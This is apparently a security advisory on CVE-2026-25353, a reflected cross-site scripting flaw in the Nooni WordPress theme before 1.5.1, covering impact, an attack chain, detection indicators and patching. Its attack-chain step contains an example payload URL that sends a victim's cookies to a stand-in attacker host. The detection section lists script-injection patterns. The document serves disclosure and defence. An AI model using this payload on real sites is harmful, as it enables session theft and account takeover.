CVE-2026-25353: 
WordPress vulnerability analysis and mitigation

CVE-2026-25353 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Nooni WordPress theme developed by skygroup. It allows unauthenticated remote attackers to inject malicious scripts via user-supplied input during web page generation. The vulnerability affects all Nooni theme versions prior to 1.5.1. It was published on March 25, 2026, and assigned by Patchstack. The CVSS v3.1 base score is 7.1 (High) (Feedly, EUVD).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically manifesting as a Reflected XSS flaw (CAPEC-591). The root cause is insufficient sanitization or escaping of user-supplied input before it is reflected back in the HTTP response within the Nooni theme. Because no authentication is required and attack complexity is low, an attacker can craft a malicious URL containing a JavaScript payload and trick a victim into clicking it, causing the script to execute in the victim's browser within the context of the affected site (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session cookie theft, account hijacking, credential harvesting, redirection to malicious sites, or delivery of malware to site visitors. While the scope is changed (affecting the browser environment beyond the vulnerable component), the confidentiality, integrity, and availability impacts are each rated low, meaning the attack is most dangerous when targeting authenticated users such as administrators (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites using the Nooni theme (versions prior to 1.5.1) via tools like WPScan, Shodan, or manual inspection of theme metadata in page source.
2. Identify vulnerable parameter: Locate a URL parameter or input field within the Nooni theme that is reflected unsanitized in the HTTP response (e.g., a search or query parameter).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload, such as https://victim-site.com/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user (e.g., an authenticated administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and their browser loads the page, the injected script executes in their browser context, enabling session cookie theft, account takeover, or further malicious actions (Feedly).

• Network: HTTP requests to WordPress pages with unusual or encoded script tags (<script>, %3Cscript%3E, javascript:) in URL query parameters; outbound requests from victim browsers to unknown external domains shortly after page load.
• Logs: WordPress or web server access logs showing GET/POST requests with XSS payloads in query strings targeting Nooni theme endpoints; repeated requests from the same IP with varying payload encodings.
• File System: No direct file system artifacts expected for reflected XSS, but check for any newly created or modified PHP files in the theme directory that could indicate follow-on compromise.
• Process/Behavior: Unexpected JavaScript-initiated redirects or pop-ups reported by site users; browser developer console errors related to cross-origin requests originating from the affected site (Feedly).

The vendor has released Nooni theme version 1.5.1, which addresses this vulnerability. WordPress site administrators should update the Nooni theme to version 1.5.1 or later immediately via the WordPress admin dashboard or by downloading the patched version from the theme repository. As a temporary workaround prior to patching, consider implementing a Web Application Firewall (WAF) rule to block requests containing script injection patterns in query parameters. Restricting access to the WordPress admin panel and ensuring users do not click unsolicited links can reduce exposure (Feedly, Patchstack).